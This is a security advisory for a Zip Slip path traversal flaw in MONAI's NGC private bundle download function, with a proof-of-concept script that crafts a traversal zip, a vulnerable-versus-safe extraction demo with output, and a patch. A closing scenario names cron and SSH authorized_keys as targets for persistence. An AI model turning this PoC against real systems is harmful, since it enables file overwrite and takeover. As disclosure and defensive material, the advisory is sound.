CVE-2026-21851: monai: Path Traversal enables file access

## Summary A **Path Traversal (Zip Slip)** vulnerability exists in MONAI's `_download_from_ngc_private()` function. The function uses `zipfile.ZipFile.extractall()` without path validation, while other similar download functions in the same codebase properly use the existing `safe_extract_member()` function. This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI. **CWE:** CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) --- ## Details ### Vulnerable Code Location **File:** `monai/bundle/scripts.py` **Lines:** 291-292 **Function:** `_download_from_ngc_private()` ```python # monai/bundle/scripts.py - Lines 284-293 zip_path = download_path / f"{filename}_v{version}.zip" with open(zip_path, "wb") as f: f.write(response.content) logger.info(f"Downloading: {zip_path}.") if remove_prefix: filename = _remove_ngc_prefix(filename, prefix=remove_prefix) extract_path = download_path / f"{filename}" with zipfile.ZipFile(zip_path, "r") as z: z.extractall(extract_path) # <-- No path validation logger.info(f"Writing into directory: {extract_path}.") ``` ### Root Cause The code calls `z.extractall(extract_path)` directly without validating that archive member paths stay within the extraction directory. ### Safe Code Already Exists MONAI already has a safe extraction function in `monai/apps/utils.py` (lines 125-154) that properly validates paths: ```python def safe_extract_member(member, extract_to): """Securely verify compressed package member paths to prevent path traversal attacks""" # ... path validation logic ... if os.path.isabs(member_path) or ".." in member_path.split(os.sep): raise ValueError(f"Unsafe path detected in archive: {member_path}") # Ensure path stays within extraction root if os.path.commonpath([extract_root, target_real]) != extract_root: raise ValueError(f"Unsafe path: path traversal {member_path}") ``` ### Comparison with Other Download Functions | Function | File | Uses Safe Extraction? | |----------|------|----------------------| | `_download_from_github()` | scripts.py:198 | ✅ Yes (via `extractall()` wrapper) | | `_download_from_monaihosting()` | scripts.py:205 | ✅ Yes (via `extractall()` wrapper) | | `_download_from_bundle_info()` | scripts.py:215 | ✅ Yes (via `extractall()` wrapper) | | `_download_from_ngc_private()` | scripts.py:292 | ❌ No (direct `z.extractall()`) | --- ## PoC ### Step 1: Create a Malicious Zip File ```python #!/usr/bin/env python3 """Create malicious zip with path traversal entries""" import zipfile import io def create_malicious_zip(output_path="malicious_bundle.zip"): zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # Normal bundle file zf.writestr( "monai_test_bundle/configs/metadata.json", '{"name": "test_bundle", "version": "1.0.0"}' ) # Path traversal entry zf.writestr( "../../../tmp/escaped_file.txt", "This file was written outside the extraction directory.\n" ) with open(output_path, 'wb') as f: f.write(zip_buffer.getvalue()) print(f"Created: {output_path}") with zipfile.ZipFile(output_path, 'r') as zf: print("Contents:") for name in zf.namelist(): print(f" - {name}") if __name__ == "__main__": create_malicious_zip() ``` **Output:** ``` Created: malicious_bundle.zip Contents: - monai_test_bundle/configs/metadata.json - ../../../tmp/escaped_file.txt ``` ### Step 2: Demonstrate the Difference This script shows the difference between the vulnerable pattern (used in `_download_from_ngc_private`) and the safe pattern (used elsewhere in MONAI): ```python #!/usr/bin/env python3 """Compare vulnerable vs safe extraction""" import zipfile import tempfile import os def vulnerable_extraction(zip_path, extract_path): """Pattern used in monai/bundle/scripts.py:291-292""" os.makedirs(extract_path, exist_ok=True) with zipfile.ZipFile(zip_path, "r") as z: z.extractall(extract_path) print("[VULNERABLE] Extraction completed without validation") def safe_extraction(zip_path, extract_path): """Pattern used in monai/apps/utils.py""" os.makedirs(extract_path, exist_ok=True) with zipfile.ZipFile(zip_path, "r") as zf: for member in zf.infolist(): member_path = os.path.normpath(member.filename) # Check for path traversal if os.path.isabs(member_path) or ".." in member_path.split(os.sep): print(f"[SAFE] BLOCKED: {member.filename}") continue print(f"[SAFE] Allowed: {member.filename}") # Run demo print("=" * 50) print("VULNERABLE PATTERN (scripts.py:291-292)") print("=" * 50) with tempfile.TemporaryDirectory() as tmpdir: vulnerable_extraction("malicious_bundle.zip", tmpdir) for root, dirs, files in os.walk(tmpdir): for f in files: rel_path = os.path.relpath(os.path.join(root, f), tmpdir) print(f" Extracted: {rel_path}") print() print("=" * 50) print("SAFE PATTERN (apps/utils.py)") print("=" * 50) with tempfile.TemporaryDirectory() as tmpdir: safe_extraction("malicious_bundle.zip", tmpdir) ``` **Output:** ``` ================================================== VULNERABLE PATTERN (scripts.py:291-292) ================================================== [VULNERABLE] Extraction completed without validation Extracted: monai_test_bundle/configs/metadata.json Extracted: tmp/escaped_file.txt ================================================== SAFE PATTERN (apps/utils.py) ================================================== [SAFE] Allowed: monai_test_bundle/configs/metadata.json [SAFE] BLOCKED: ../../../tmp/escaped_file.txt ``` --- ## Impact ### Conditions Required for Exploitation 1. Attacker must control or compromise an NGC private repository 2. Victim must configure MONAI to download from that repository 3. Victim must use `source="ngc_private"` parameter ### Potential Impact If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on: - The permissions of the user running MONAI - The target location of the escaped files - Python version (newer versions have some built-in path normalization) ### Mitigating Factors - Requires attacker to control an NGC private repository - Modern Python versions (3.12+) have some built-in path normalization - The `ngc_private` source is less commonly used than other sources --- ## Recommended Fix Replace the direct `extractall()` call with MONAI's existing safe extraction: ```diff # monai/bundle/scripts.py + from monai.apps.utils import _extract_zip def _download_from_ngc_private(...): # ... existing code ... extract_path = download_path / f"{filename}" - with zipfile.ZipFile(zip_path, "r") as z: - z.extractall(extract_path) - logger.info(f"Writing into directory: {extract_path}.") + _extract_zip(zip_path, extract_path) + logger.info(f"Writing into directory: {extract_path}.") ``` This aligns `_download_from_ngc_private()` with the other download functions and ensures consistent security across all download sources. --- ## Resources - [CWE-22: Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html) - [Snyk: Zip Slip Vulnerability](https://security.snyk.io/research/zip-slip-vulnerability) - [Python zipfile.extractall() Warning](https://docs.python.org/3/library/zipfile.html#zipfile.ZipFile.extractall)

An attacker with write access to an NGC private repository (via stolen API keys, insider threat, or supply chain compromise of the repository owner) crafts a malicious MONAI bundle zip containing path traversal entries (e.g., '../../../etc/cron.d/malicious-job' or '../../../home/mluser/.ssh/authorized_keys'). When an ML engineer or automated pipeline runs a MONAI bundle download with source='ngc_private', MONAI calls z.extractall() without validation, writing the attacker's files to arbitrary filesystem locations with the permissions of the running process. On a GPU training server running as root or a privileged service account, this achieves persistence or credential harvesting without any additional exploitation.